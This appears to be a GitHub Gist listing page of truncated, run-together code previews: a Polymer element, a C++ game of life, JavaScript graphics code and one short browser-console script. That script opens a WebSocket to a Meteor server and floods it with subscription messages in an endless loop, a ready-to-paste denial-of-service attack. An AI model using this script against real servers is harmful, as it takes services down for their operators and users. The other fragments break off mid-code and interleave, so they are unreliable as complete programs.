Skip to content

Instantly share code, notes, and snippets.

<link rel="import" href="../ace-element/ace-element.html">
<polymer-element name="my-element">
<template>
<style>
:host {
position: absolute;
width: 100%;
height: 100%;
// Enter this code to javascript console
var ws=new WebSocket("ws://example.com/sockjs/200/urqspahk/websocket"); // Put here your websocket url
var loop=function(){
for(var i=0; i<10000; i++) ws.send('["{\\"msg\\":\\"sub\\",\\"id\\":\\"vcpG9kLW6pkCcinsS'+Date.now()+'\\",\\"name\\":\\"meteor.loginServiceConfiguration\\",\\"params\\":[]}"]')
setTimeout(loop,0)
}
ws.onopen = function(){
ws.send('["{\\"msg\\":\\"connect\\",\\"version\\":\\"1\\",\\"support\\":[\\"1\\",\\"pre2\\",\\"pre1\\"]}"]')
loop()
}
#include <set>
#include <climits>
#include <cstdio>
#include <chrono>
#include <functional>
typedef std::pair<int,int> position;
typedef std::set<position> arena;
void show(arena& a) {
var gfx = require("./gfx.js")
var fastMath = require('./fastMath.js')
var sintab = fastMath.sintab
var costab = fastMath.costab
var STNode=function(x,y,width,height) {
this.left = null
this.right = null
this.image = null
var gfx = require("./gfx.js")
var fastMath = require('./fastMath.js')
var sintab = fastMath.sintab
var costab = fastMath.costab
var STNode=function(x,y,width,height) {
this.left = null
this.right = null
this.image = null
@MLaszczewski
MLaszczewski / main.cpp
Created November 12, 2018 21:32
Infinite game of life
#include <set>
#include <climits>
#include <cstdio>
#include <chrono>
#include <functional>
#define RANGE_TEST
typedef std::pair<int,int> position;
typedef std::set<position> arena;